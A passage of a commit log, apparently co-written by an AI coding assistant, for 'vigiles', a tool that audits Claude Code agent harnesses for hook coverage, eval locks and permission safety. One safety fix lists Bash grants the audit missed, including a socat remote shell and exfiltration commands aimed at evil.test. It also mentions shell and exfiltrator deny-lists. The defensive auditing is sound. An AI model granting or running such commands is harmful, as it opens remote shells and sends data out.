Deliberately missed, run and pasted in the test: `pnpm dlx …` and `bunx …` both
yield []. No corpus contains either; one coverage line each.
## 2 (P2) — the plugin namespace was stripped and discarded
The THIRD axis of "a name is not an identity", after within-kind (a bare
basename) and cross-kind (a hook label reaching a skill). A run firing
`other-plugin:foo` recorded the audited repo's own unique `foo` as EXECUTED. The
whole-harness tier makes that ordinary rather than exotic: `installSet` exists to
co-install competitors so the skill under test competes, and a competitor firing
is the normal outcome of a low trigger rate.
A qualified ref carries MORE identity than the lookup used. It now resolves only
under a namespace that means THIS repo — the `.claude-plugin/plugin.json` name,
plus `vigiles-loose-skills`, the synthetic name OUR OWN packaging gives a loose
skills dir (`packageSkillsDir`, and `underTestSource`'s fallback). Omitting the
second would drop every trigger-rate record for the documented one-liner.
An UNqualified ref still resolves by name — it carries no namespace to
contradict, the same reasoning that kept the shallow rung on the command ladder.
A caller that cannot say which plugin it is drops every qualified ref rather than
guessing: it costs coverage, it never invents it.
## 3 (P2) — an agent could never earn an execution record
My own prediction from round 22, which is the fifth time that list has named the
next finding. This one is a false NEGATIVE, so the direction inverts: it ADDS
attribution, and the bar has to be as strict as the rest.
Evidence is a DISPATCH — a `tool_use` whose input carries `subagent_type` — on
its own `dispatched` origin, resolving only to AGENTS. Keyed on the input FIELD,
not the tool name, because the dispatch tool is named `Agent` on the live CLI and
`Task` in older docs; `parseSubagents` already keys on the field for that reason,
confirmed against real `claude` output, and this reuses that established fact
rather than inventing a second rule.
What it refuses: an ERRORED dispatch (the tool was reached and the agent was not
— the rule the `Skill` arm has always had), a call merely NAMED `Task` with no
`subagent_type`, and a non-string value. A new origin must not become a new leak,
so a dispatch cannot reach a same-named skill, and `fired` still cannot reach an
agent.
## Corpus effect: none, and it is checked
Both corpora have ZERO agent surfaces (vigiles 23 surfaces, mine 38), and round
22 measured zero skill activations in their deterministic runs — so no number
moves in either direction. The exposures are real; these two repos just do not
exercise them.
## Verification
Six mutations across the relevant set (coverage-probe, coverage-artifact,
check-count, cli-coverage-record, test-coverage), each failing on its own
assertion: accept the owner anywhere · strip the namespace again · drop the
dispatch probe · key the dispatch on the tool NAME · count an errored dispatch ·
let `dispatched` resolve to skills too.
Gates: build · full suite with coverage 2801 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(discovery): a hook rooted at the PROJECT var was invisible — one settings file, two readers, one wrong
The hook-discrepancy chase. Four numbers described the same repo and only one of
them was wrong.
## What each list was counting (real consumer repo)
19 hook ENTRIES in `.claude/settings.json` — one inline (`TZ=… date`), and
several sharing a script with different argv (`kb-lint.mjs post`/`stop`,
`paper-lint.mjs pre`/`post`/`sweep`/`stop`)
17 FILES in `.claude/hooks/` — two of which are not hooks: `hooks.harness.mjs`
(the test) and `lint-core.mjs` (a library the hooks import, never
registered)
16 what `audit` inventories — 15 distinct scripts + 1 inline — and EVERY one
printed as `? … (unresolved var — can't check)`
0 hook SURFACES, the list coverage resolves against
The honest number is **14**: the registered scripts under `.claude/hooks/`. It is
what the fix produces.
## The defect: vigiles knows the variable in three places and this reader did not
`hookScripts` stripped only `${CLAUDE_PLUGIN_ROOT}`, so
`"$CLAUDE_PROJECT_DIR/.claude/hooks/kb-lint.mjs"` — Claude Code's DOCUMENTED
spelling for a project hook, used because hooks do not run with a stable cwd —
kept its literal prefix, failed `existsSync`, and was dropped in silence.
`plugin-loader.ts` and `scan-files.ts` both carry `CLAUDE_PROJECT_DIR` in their
`NON_PLUGIN_VARS`, and `audit` names the variable in its own output. The audit
KNEW and declined to check; the surface reader did not know and dropped.
Reproduced on a four-way fixture before fixing:
plain `.claude/hooks/guard.sh` → [".claude/hooks/guard.sh"]
`$CLAUDE_PROJECT_DIR/…/guard.sh` → [] ← defect
`${CLAUDE_PLUGIN_ROOT}/…/guard.sh` → [".claude/hooks/guard.sh"]
`${CLAUDE_PROJECT_DIR}/…/guard.sh` → [] ← defect
The token now lives on the layout (`projectRootTokens`, optional, additive to
`vigiles/adapter`'s `PluginLayout`) beside `pluginRootToken`, because it is a
per-harness spelling — not a constant hard-coded into shared code.
## …and a dependency is not a surface
The same settings name the runtime that runs the compiled hooks
(`node_modules/vigiles/dist/cli.js`). Holding that to `untested-hook` would ask
the author to test their package manager, so `node_modules/` paths are excluded.
The compiled `.hook.ts` it is pointed AT is extracted from the same command and
IS the surface.
## What it changes, measured
consumer repo 38 surfaces (0 hooks) → 52 surfaces (14 hooks), all 14 untested
this repo 23 surfaces (5 hooks) → unchanged
## 🔴 What I said today that rested on the empty denominator
Round 20 and 22 both quoted "a 43-harness consumer repo" as a SECOND corpus
attesting the command ladder. It could never have attested anything about
resolution: its hook-surface list was empty, so no command probe could have
resolved there whatever the ladder did. It produced zero command probes as well,
so the silence had TWO independent causes and I reported one.
What still stands: the vigiles measurement (3 command probes, all bottom-rung,
all resolving to nothing) was against a NON-empty list of 5 hook surfaces, so the
ladder conclusions and the fixes are unaffected. The foreign-runner corpus
numbers (round 23) never touched hook surfaces.
What I should have caught: round 22 PRINTED `0 hooks` for that repo and I read
past it.
## Verification
Two mutations across the relevant set (test-coverage, coverage-artifact, scan),
each failing on its own assertion: strip only the plugin token · allow
`node_modules` back in. (The first mutation silently failed to apply on its first
attempt because prettier had reflowed the target line; re-run with an
applied-assert, which is the discipline the rest of these rounds use.)
Gates: build · full suite with coverage 2802 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` regenerated
(one additive optional field on `PluginLayout`, reviewed) · lint 0 errors / 201
warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: a dispatch needs its tool AND its field · `command -v` inspects · a contract is scoped to its skill
Three findings. The first is the flip side of a decision I made last round.
## 1 (P2) — the dispatch probe keyed on the FIELD alone
Last round I argued: key on `subagent_type`, not the tool name, because the
dispatch tool is `Agent` on the live CLI and `Task` in older docs. That reasoning
was sound about why the NAME is insufficient and was never an argument that the
FIELD is sufficient — "X alone is unreliable, so use Y alone" is a substitution.
Any successful tool with an ordinary string input happening to be called
`subagent_type` (an MCP tool, say) granted a local agent execution coverage with
no dispatch anywhere in the run.
The answer is the CONJUNCTION: a known dispatch tool AND the field. Measured:
Task + subagent_type → [{dispatched, reviewer}]
Agent + subagent_type → [{dispatched, reviewer}]
mcp__x__run + field → []
Bash + field → []
Task, no field → []
## 2 (P2) — `command -v` inspects, it does not run
`stripWrappers` removed both `command` and `-v`, so the operand looked executed
and a passing harness credited a hook it had only asked about. Same family as the
`bash -n` / `node --check` parse-only flags.
MEASURED, bash 5.2, marker file the script touches (`ran` = it actually executed):
command -v ./pre.sh ran=no prints ./pre.sh
command -V ./pre.sh ran=no prints "./pre.sh is ./pre.sh"
command -pv ./pre.sh ran=no command -vp ./pre.sh ran=no
command -Vp ./pre.sh ran=no
command -p ./pre.sh ran=YES ← -p picks a PATH; it is not an inspection
command ./pre.sh ran=YES
THE REST OF THE WRAPPER TABLE, asked the same question: `command` is its only
member with an inspect-only mode. The neighbours the finding names attribute
nothing ALREADY — not by a rule, but because they are not wrappers, so their
operand is never reached (`type`/`which`/`hash` → [], and all three `ran=no`).
`sudo -v`/`-l` take no command operand; `xargs -t` prints AND runs, so it is not
an inspection. `env`/`nice`/`timeout`/`nohup` have no inspect mode.
Scoped to the COVERAGE extractor: `leafArgvSource` has one caller and it is
attribution. The safety extractor still sees the whole leaf — asserted.
## 3 (P2) — the contract spanned the whole trace
Our own new API carrying the false-positive class this review has been finding all
day. A contract violation is an ACCUSATION about someone's skill, and a `Read`
made before the skill activated, or a `Bash` belonging to another skill, was
reported as this skill's violation.
The window IS recoverable, so it is scoped rather than abstained: a `Skill` call
with this id starts it, the next `Skill` call (any id) ends it, trailing calls
after the last activation are inside it, and a skill activated twice contributes
both windows.
⚠️ ONE CONFOUND IS NOT RECOVERABLE and is therefore subtracted, not reasoned
about: `parseToolCalls` collects EVERY `tool_use` including those nested under a
subagent dispatch, and `ToolCall` carries no parent id. Those are removed by value
against `trace.subagents[*].toolCalls` — which over-removes an identical call the
skill also made itself, dropping an accusation rather than inventing one.
No activation in the trace → FAIL, not a silent pass: the module refuses vacuous
passes everywhere else, and "no violations" from a run where the skill never ran
means nothing.
`onlyTools` itself is UNCHANGED and its doc now says it spans the whole trace by
design, names the three confounds, and points one-skill callers at the contract.
## Verification
Six mutations across the relevant set (coverage-probe, bash-effects,
skill-contract, coverage-artifact, check), each failing on its own assertion:
field alone · tool name alone · no inspect-only suppression · `-p` treated as an
inspection · contract spans the whole trace · do not subtract a subagent's calls.
⚠️ The first full gate run came back with 8 failures — 7 `vigiles compile`/`lint`
cases in `cli.test.ts` and one install e2e that hung 73s. All of them shell out
through `npx`. `cli.test.ts` alone re-ran 114/114 green immediately, and the full
suite re-ran clean, so it was a transient network failure rather than this change.
Recorded rather than quietly re-run to green.
Gates: build · full suite with coverage 2804 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
🔴 Also fixed here: the previous commit shipped a lint ERROR (a void-expression
arrow in the hook-discovery test). I ran lint BEFORE adding that test and not
after. Gate order corrected — lint runs after the last edit, not before it.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(audit): say what the eval numbers can REACH — the lock, not the ledger
The product's own author could not tell the lock from the cache. That is not a
user error; it is the strongest evidence a discoverability defect can have.
## What was measured
.vigiles/runs.jsonl 276 KB, 105 eval entries, 11–12 Aug gitignored
.vigiles/eval-locks/ does not exist, 0 locks (would be committed)
eval cache does not exist
audit / lint about any of the above: 0 lines
Evals had been run over a hundred times and the result reached NOBODY. The audit
already printed `105 eval` in the flight-recorder summary — a number with no
meaning attached, which is exactly how this stayed invisible for a year.
## 1. An audit line, in the existing report
The CONSEQUENCE is the sentence; the counts are its evidence:
⚠ CI cannot verify any eval result — 105 eval run(s) are recorded here and 0
locks are committed. This ledger is local and gitignored; a committed
`.vigiles/eval-locks/<name>.lock.json` is the only channel outward. Give the
eval a `name`, run `vigiles eval --update`, and commit the lock so `--check`
can gate on it.
Verified by running `audit` before and after. BEFORE: zero lines mentioning locks
on either repo. AFTER, on the consumer repo AND on this one:
Flight recorder — 623 records in .vigiles/runs.jsonl
by kind: 105 eval, 518 hook
⚠ CI cannot verify any eval result — 105 eval run(s) …
(vigiles' own repo: 623 eval records, 0 locks — the same hole)
Fires only with eval runs AND no lock. Silent with no evals (nothing to say) and
silent once a lock exists (the fix is done — it must not keep nagging).
No new verb, no new flag, no new rule: it is a line in the flight-recorder
section the audit already prints.
**AUDIT ONLY, NOT LINT**, and the reason is mechanical rather than editorial: the
input is `.vigiles/runs.jsonl`, which is GITIGNORED. In CI — where lint runs — the
ledger does not exist, so this finding could never fire there. In lint it would be
dead code that reads as a gate.
## 2. A docs table putting the three side by side
`docs/harness-testing.md`, in the lock section: ledger · cache · lock, by *what
question does it answer · where · who writes it · is it committed*. Plus the
distinction that was buried in a code comment, in plain words: the cache keys on
the harness binary version and the lock deliberately does not — the strict key
exists for honest replay, the loose one exists so `--check` does not go red on
every PR just because CI's `claude` differs from your laptop's.
NOTHING WAS RENAMED. `.vigiles/eval-locks/` is a committed directory in users'
repos and the flags, the `eval-check` action and the API surface hang off the same
names; renaming it would silently disable a user's CI gate. That is a one-shot
migration decision, not tonight's work.
## Verification
Three mutations, each failing on its own assertion: never emit the line · fire
even when a lock exists · fire with no evals recorded.
⚠️ The first full gate came back at 99.93% lines — one uncovered branch, a
`try/catch` I had added to `countLocks` that no test can reach. Removed rather
than ignored: `anyLocksCommitted` never had one, and a defensive branch nobody can
exercise trades a real coverage line for nothing.
Gates: build · full suite with coverage 2805 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* site: the promise is three instruments, not one — audit, test and measure
The headline, the <title>, and every link-preview card said only
"Lighthouse for your agent harness". A reader's first contact learned
that vigiles SCORES a repo and never learned it also RUNS the harness
against a scripted stand-in model and MEASURES whether a skill fires —
the verb map two screens down was the only place breadth appeared.
Pain still leads the paragraph, per the README direction. The Lighthouse
analogy stays where it is true of `audit` specifically: the verb map and
the FAQ's "a tool you run, not a framework" answer.
* fix(coverage): one settings file, ONE reader — the twin never got the fix
The project-root token was taught to the disk detector and not to the
browser twin, so the same `settings.json` that yields four hook surfaces
on disk yielded ONE through `findUntestedSurfacesInFiles`: only the
PLUGIN token was stripped, and `$CLAUDE_PROJECT_DIR/.claude/hooks/a.sh`
kept its literal prefix, missed the existence check and was dropped
silently. The audit under-reported the untested-hook count and the score
for exactly the repos that use Claude Code's documented spelling.
Repairing the twin in place would have left the NEXT token to be added
twice, which is how this got here. So the parsing, the token set, both
token spellings, the prefix stripping and the node_modules dependency
rule move into `hookScriptRefs` in coverage-evidence.ts — the module both
twins already route through so they cannot drift on what decides
coverage. The callers now inject only what genuinely differs: where the
manifest text comes from, and what "this file exists" means. Neither
enumerates tokens, so neither can forget one.
The twin had never had the node_modules branch at all, so a file map from
a repo that vendors its runtime would have handed the author their
package manager to test. That is closed by the same move.
Verified by mutation: dropping `projectRootTokens` from the shared helper
fails BOTH the disk test and the new twin test, so both are live and both
really do run through the one implementation.
* fix(coverage): the paid tier is a SUFFIX the runner can glob, not an infix
`.eval.` was matched anywhere in the basename, so `parser.eval.test.ts` —
an ordinary deterministic test, discovered only because the repo set
`testGlobs: ["**/*.test.ts"]` — was pushed into the paid EVAL tier and
removed from the free one. `vigiles eval` globs
`**/*.eval.{mjs,cjs,js,mts,cts,ts}` (scriptGlob over SCRIPT_EXTS), and
that name ends `.test.ts`, so the eval runner can never discover it. The
surface was reported covered by the tier that cannot run it and uncovered
by the tier that does: eval-covered by nothing runnable.
The infix was not arbitrary — it replaced the full suffix `.eval.mjs`
because `foo.eval.ts` then fell into the FREE branch and would have spent
real model calls on every push. So this narrows to a suffix rather than
reverting: `.eval.` followed by a runnable extension at the END. Wrong in
neither direction.
The rule moves into `isEvalScript` in coverage-evidence.ts, shared by
both twins, which had been carrying the infix separately. Its extension
list is re-declared because the authority (SCRIPT_EXTS) lives in a module
that imports node:child_process; a test asserts the two agree, so an
extension added to the runner cannot silently stop being billed.
Verified by mutation: restoring the bare infix fails both the false-grant
test and the SCRIPT_EXTS pin. The money-hazard case is covered for every
extension in SCRIPT_EXTS, and it passes before and after.
* fix(audit): honour the stopping rule — the foreign-runner gate is deleted
`locallyBound()` checked declarations and import aliases but never
PARAMETER lists, so `function testDriver(runEval) { runEval(fake); }` — an
ordinary offline test that injects a fake — was read as spawning a real
agent. Measured, not argued: the gate over one file of that shape returns
one finding whose warning reads "It calls `runEval`, which spawns an
agent" and tells the author to rename the file. That sentence is false
about that file.
That is the SEVENTH distinct false-positive shape reported against this
gate, and its own header pre-registered what to do about a seventh:
delete the gate and let the money guard be the whole defence. So it is
deleted rather than narrowed an eighth time. The shape had even been
self-disclosed in the file as a known residual — which is not a defence.
A pre-registered stopping rule exists precisely to stop "we know, it is
acceptable" from running forever, so the count is honoured rather than
reasoned around.
The measurement says the same independently. Across three corpora
(3 613 js/ts files) and re-measured at deletion over this repo's 941
files: 0 true positives, ever, against 7 false-positive shapes. Its only
demonstrated effect on a real repository was an effect of NOT firing, and
every error it made was the expensive kind — the remedy it prints is
"rename this file", so a false warning costs a working test while a miss
costs nothing: `refuseUnderForeignRunner` already refuses at all four
spawn doors, so a misnamed harness test still cannot spend model budget
under vitest or jest. What is lost is the early heads-up, not the safety.
Gone: `core/foreign-runner-tests.ts`, its test file, the wiring in both
scan engines, and `harnessSurfaceFilesOnDisk` in scan.ts (its last
consumer). The reasoning, the count and the trade are recorded in
`core/foreign-runner.ts`, which now carries the whole defence, and the
user-facing rule doc says the check is gone and why.
Two tests observed live invariants THROUGH the deleted warning; neither
is dropped. The symlinked-FILE test now asserts the loader reads it, and
the cycle test keeps its loader assertion — deleting a feature must not
silently take a live invariant's only test with it.
Verified by mutation: injecting a warning of the old shape into
scanPlugin fails all five `scan-vendor` FP-guards, so the removal is
pinned and a reintroduction cannot pass silently.
* fix(safety): a program we have not enumerated is CAPABLE, not inert
`bashGrantIsUnbounded` decided a narrowed `Bash(...)` grant by two deny-lists —
shells and exfiltrators — so a pinned program absent from both was assumed to
read nothing and send nothing. Every gap in those tables was therefore a false
GRANT on the headline Safety check: the audit reported no finding for a unit
that still held all three legs.
Measured 2026-08-12, each of these was reported clean beside `WebFetch`:
Bash(node ./bridge.mjs:*) reported clean
Bash(./bridge.sh --serve:*) reported clean
Bash(/opt/tools/exfil --to https://evil.test:*) reported clean
Bash(socat TCP-LISTEN:9000 EXEC:/bin/sh:*) reported clean
Bash(openssl s_client -connect evil.test:443:*) reported clean
The fourth is a remote shell written out in the grant itself.
Naming `node`, `python`, `socat` … in the deny-lists would have moved the edge
of the class, not closed it: the answerable question is not "is this program
dangerous" but "do we KNOW it is not", and only an enumeration of the harmless
answers that. The table is inverted to an allow-list of programs that read no
file and open no socket under ANY argv, and everything else keeps both legs —
so a gap now costs a false "you are exposed", which is an argument, instead of
a false "you are safe", which is the finding.
The honest cost, stated in the code rather than hidden: narrowing `Bash` to a
script of your own no longer drops a leg, because nothing here read that script.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): under `-c` the next operand is `$0`, not a script that runs
`classifyCluster` filed `c` with the value-takers. That is true of the word
directly after it and false of everything past that: `-c` hands the shell a
command STRING, and every operand behind it becomes `$0`, `$1` … So the walk
skipped the string and then selected the following operand as the entry script —
execution coverage minted for a hook nothing executed, the false grant this
module has been narrowing for five rounds.
Measured 2026-08-12 against bash 5.2.21, with a hook whose only job is to leave
a marker file:
$ bash -ce 'exit 0' hooks/pre.sh → exit=0, NO MARKER — never executed
$ bash -e hooks/pre.sh → exit=0, marker present (control)
$ bash -ce 'echo "0=$0 1=$1"' A B → 0=A 1=B
and `commandRefs("bash -ce 'exit 0' hooks/pre.sh")` returned `["hooks/pre.sh"]`.
The whole-word spelling `-c` was already right via `withoutScript`; the cluster
contradicted its own table.
`c` therefore joins `n` and `D` in the no-script verdict — any cluster
CONTAINING it attributes nothing, since bash accepts the letter anywhere in the
bundle and it means the same thing every time (`-ce`, `-ec`, `-xc` verified).
Clusters that take a value without `c` (`-eo pipefail`, `-eO extglob`) still
attribute, so this narrows the model rather than refusing every bundle.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a path is ours only if it is ANCHORED at our root, not if it ends like one
The `command` ladder's middle rung accepted any ref whose tail matched a surface
path, so an absolute path in somebody else's tree credited a local file.
Measured 2026-08-12 against the single surface `hooks/pre.sh`:
/workspace/vigiles/hooks/pre.sh => ["hooks/pre.sh"] (ours)
/tmp/fixture/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
/home/other/repo/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
/nix/store/abc123-plugin/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
Keeping the full qualified path did not close it. The bottom rung's repair was
about a ref carrying NO directories; any external path ending in the complete
repo-relative tail still miscredits. It is the same defect one rung up — a
SUFFIX taken for an identity.
A path is ours only if it is anchored at our root, so the rung now demands an
anchor and the caller supplies one. Two anchors exist and no third is invented:
the repository root itself (an absolute ref must lie beneath it, and the
remainder is then compared EXACTLY), and an unexpanded PROJECT-root variable,
which is how a settings-file hook reaches this tier. Plugin-root tokens are
deliberately excluded: the whole-harness tier co-installs competitors, so
`${CLAUDE_PLUGIN_ROOT}` names whichever plugin ran, not necessarily this one.
Everything else resolves to nothing — an absolute ref outside the root, an
absolute ref with NO root supplied, and a relative ref carrying extra leading
directories (`../other/…`, `vendor/plugin/…`), which was the same hole spelled
without a leading slash. Absent a root the rung abstains wholesale rather than
falling back to the tail match.
`selfNamespaces` and `root` move into one `ResolveOptions` argument so the two
cannot be passed in each other's place; the compiler located all four call
sites.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* style: prettier-clean the tree — `prettier --check` is a gate `lint` does not cover
Round 26 shipped `src/test-coverage.test.ts` unformatted and CI's `test` job
failed at its last step (`prettier --check .`), after every test had passed.
`npm run lint` is `eslint src/` and says nothing about formatting, so the only
thing that catches this is running the check itself, last.
The reflow is whitespace only: one `write(...)` call wrapped across four lines.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
---------
Co-authored-by: Claude <noreply@anthropic.com>
* feat(audit): split Tested into Tested + Evaluated, with a `not measured` state
`Tested` collapsed deterministic harnesses and real-model evals into one
number, and its finding read "N surfaces with no vigiles test/eval" — one
sentence for two prescriptions three orders of magnitude apart in cost.
A harness (`*.harness.mjs`, `*.test.*`) is free, runs in milliseconds on
every push, and asks whether a gate still catches what it claims. An eval
(`*.eval.mjs`) spends real model calls, runs on a schedule, and asks the one
question a deterministic read cannot: does this skill fire at all? Folded
together, a repo with complete deterministic coverage and no evals scored
identically to a repo with neither.
- test-coverage: one discovery pass, partitioned by suffix into a harness
tier and an eval tier; the union `covered`/`untested` fields are unchanged.
Mirrored in the browser-safe twin.
- scan: carries `untestedHarness` / `unevaluated` / `evaluable` (optional and
additive; a producer predating the split falls back to the union).
- audit-score: `Tested` (deterministic) and `Evaluated` (real-model), both
advisory. `Evaluated` has THREE states — a number, a measured `0`, and
`not measured` when the executing checks were skipped and no eval exists.
Scoring 0 there would report the absence of a check as its result, which is
the pattern this tool exists to name elsewhere. In that state the ring
names the command that would measure it.
- cli: threads the existing execute-skip signal into the ring.
- report/HTML/JSON: both rings render; the inventory carries both counts.
Grade weighting is unchanged — both rings are advisory and neither enters
`reportDeductions`. Audited on this repo before and after: A (100/100) both
times; only the diagnostic rings move (Tested 67 → Tested 58 + Evaluated 22).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012omt6sirxNMyZN2x5RhK2u
* docs(site): the audit grades six categories, not five
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012omt6sirxNMyZN2x5RhK2u
* fix(lint): a clean union must not read as 'firing verified'
Every surface can have a deterministic harness while nothing has ever
measured that a skill fires. The gate is unchanged (still the union), but
the ✓ now says so instead of implying the question was asked.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012omt6sirxNMyZN2x5RhK2u
* test(site): regenerate the browser-parity fixture for the Evaluated ring
The audit now emits a sixth category, so the Node-generated expected report and
the in-browser one differ until the fixture is regenerated — which is what the
test's own header prescribes for an intentional engine change.
Regenerated with `node site/scripts/gen-parity-expected.mjs`. The diff adds the
Evaluated ring and its two inventory counts and nothing else: grade and overall
are untouched, which is the check that the split did not move the weighting.
* fix(coverage): `Tested` measured a STRING, not a test
DEFECT. A surface counted as covered when its path or namespace appeared as a
SUBSTRING anywhere in any discovered test file (`content-reference`, in
src/test-coverage.ts). Two halves, and the second was worse.
REPRODUCTION (a real repo: 37 skills, 14 hooks). Appending ONE line to an
existing harness file:
// probe: skills/argument-arc
moved the audit's untested count 33 -> 32. A comment. Not a test. Reverting the
line put it back. So `Tested` was trivially gameable and the gaming was
indistinguishable from real work.
The false NEGATIVE: that repo's `.claude/pipeline/skills.harness.mjs` genuinely
asserts over all 21 of its pipeline skills, but builds each path at runtime
(`join(root, ".claude", "skills", name, "SKILL.md")`), so it contains ZERO
literal `skills/<name>` strings (grep: 0 matches) and covered NOTHING.
Generality was PENALISED: 21 trivial files each naming their own subject would
have scored better than the one harness that actually tests all 21.
This is the exact substitution vigiles names in other people's repos — presence
of a surface taken for presence of the property, the way `noExplicitAny` in a
config is taken for the rule being enforced. The tool was committing it in its
own scoring.
FIX, three parts (new src/coverage-evidence.ts — pure and browser-safe, so the
disk detector and its in-browser twin cannot drift on what decides a grade):
1. DECLARATION. A test file may carry `vigiles:covers <surface> ...`, mirroring
the existing `vigiles:ignore-test` marker convention on the other side. A
runtime-path harness can now say what it covers; an accidental mention
cannot. Declaration beats inference — the same move as declaring
`allowed-tools` instead of inferring capability.
2. PROVENANCE. Every coverage decision now carries HOW it was reached —
declared / colocated / mention — and the counts are printed by
`formatUntestedReport`, by `formatScanReport`, and carried in
`AuditReport.inventory.coverageEvidence` (additive; schema version
unchanged). A repo whose coverage rests entirely on substring matches can
finally see that about itself; "28 covered" and "28 names that happen to
appear in a file" used to print identically.
3. The bare substring detector is KEPT, deliberately, and said so in the code:
it is the zero-config path that makes an ordinary `foo.test.ts` naming
`skills/foo` count without anyone learning a marker, and dropping it would
flip honestly-covered surfaces to "untested" overnight. What it no longer
reads is COMMENTS. A path in a comment is prose about a test; a path in
executable code is the test reaching for the surface. Prose isn't policy,
including ours. It is also now visibly the weakest tier in the report, and
when it is the ONLY evidence the report says so in words.
Grade weighting is untouched.
TESTS prove both halves, each watched failing first: with the fix reverted, "a
surface named ONLY in a comment is NOT covered", "a runtime-path harness that
DECLARES its surfaces is counted" and "a declaration OUTRANKS a mention" fail
(3 failed | 20 passed); with it, 23 passed. Also guarded: a mention in CODE
still counts, and a `"https://..."` string literal survives comment-stripping.
Docs (untested-skill/-subagent/-hook) updated — untested-skill.md previously
recommended "add the skill's path in a comment", which was advice to exploit
the defect.
* fix(site): key the browser-test prebundle to dist, so a stale cache can't lie
DEFECT. `site/src/demo/browser-parity.browser.test.ts` guards node:zlib vs pako
divergence by comparing an in-browser AuditReport against one generated in Node.
`site/vitest.config.ts` pre-bundles the engine (`optimizeDeps.include` on
`@engine/scan-files` / `@engine/audit-report` / `pako`) and Vite caches the
result in `site/node_modules/.vite`. That cache SURVIVES `npm run build` — Vite
invalidates on config/lockfile changes, not on the mtimes of an aliased path
outside node_modules. So the browser side can compute against a PREVIOUS engine
while Node computes against the current one.
REPRODUCTION (observed 2026-08-07, twice — once by accident, once deliberately).
Accidentally: an engine change added a report field; the parity test failed
showing the field present on the Node side and absent in the browser. I read
that aloud as a genuine engine divergence and started hunting a pako bug that
does not exist. `rm -rf site/node_modules/.vite` -> 42/42 pass.
Deliberately, to prove the fix: plant an extra `inventory` field in
src/audit-report.ts, `npm run build`, regenerate the expected fixture, run the
browser suite with a warm cache.
- ORIGINAL config: `1 failed | 41 passed`, diff showing `"probeStaleCache": 1`
on one side only — a field-level diff that reads exactly like a real
divergence and says nothing about the cache.
- THIS config: `42 passed`, cache dir rotated `.vite-engine-8baf73f9e373` ->
`.vite-engine-a52a27e0137e`.
Reverting the plant returns the fixture to its committed bytes.
FIX. Key the prebundle cache DIRECTORY on a fingerprint of `dist/`
(`site/vite.engine-stamp.ts`; `cacheDir: node_modules/.vite-engine-<stamp>`),
sweeping the directories keyed to other fingerprints so they don't pile up.
WHY a key and not the alternatives. Comparing the cache's mtime against `dist/`
and forcing a re-bundle, or clearing `.vite` in the test script, both work and
both leave the bad state REACHABLE — a comparison someone can get wrong, or a
script step bypassed by running `vitest` directly. Keying the directory removes
the state instead: a different `dist/` is a different path, so "prebundle built
from another engine" cannot be reached, and an unchanged `dist/` still gets a
warm cache. By construction rather than by check — the argument this project
makes everywhere else about removing a capability rather than policing its use.
The test's header instruction ("pako and node:zlib disagree — do NOT paper over
it") was correct for one of the two states and actively misleading for the
other; it now says which state is no longer reachable and why, and the
assertion carries the same note in its failure message.
* fix(site): make the parity-fixture generator emit prettier-clean JSON
DEFECT. `site/scripts/gen-parity-expected.mjs` wrote the fixture with
`JSON.stringify(x, null, 2)`, which is NOT what prettier prints for JSON — it
keeps short arrays exploded across three lines where prettier collapses them.
CI gates on `prettier --check .`, so every regeneration of the fixture committed
a file that reddened CI later and far from the cause. It just did: branch head
dec140a failed the `test` job on exactly this file after the Evaluated-ring
change required a regeneration.
REPRODUCTION: `node site/scripts/gen-parity-expected.mjs` then
`npx prettier --check site/src/demo/__fixtures__/sample-repo.expected.json` →
exit 1, six array literals reflowed.
FIX: the generator formats through prettier before writing. Chosen over adding
the file to `.prettierignore` because the fixture is committed and reviewed, so
its diffs should look like every other file's — and because ignoring it would
silence the alarm while leaving the state that trips it. Same shape as the
stale-prebundle defect this fixture's own test hit: an artifact whose
regeneration leaves a bad state is fixed at the regeneration, not downstream.
Also adds `site/checks/` to `.prettierignore` — generated per-rule pages from
the site prebuild, gitignored by `site/.gitignore`, but not ignored by prettier,
so building the site locally reddened `fmt:check` on files nobody commits. Same
class as the `site/test-results/` entry already there.
`npm run fmt:check` is clean.
* fix(cli): refuse unknown flags; `<verb> --help`; nothing-to-audit ≠ grade F
DEFECT, in three parts. Every verb parsed its own flags with
`args.includes("--x")` and ignored everything else.
1. AN UNKNOWN FLAG WAS SWALLOWED. Measured:
$ npx vigiles audit --this-flag-does-not-exist
Detected harness: claude-code
Harness audit …
EXIT=0
A full, confident audit as if the flag had never been typed. Not cosmetic:
audit's flags govern what LEAVES the machine — `--no-html`, `--no-json`,
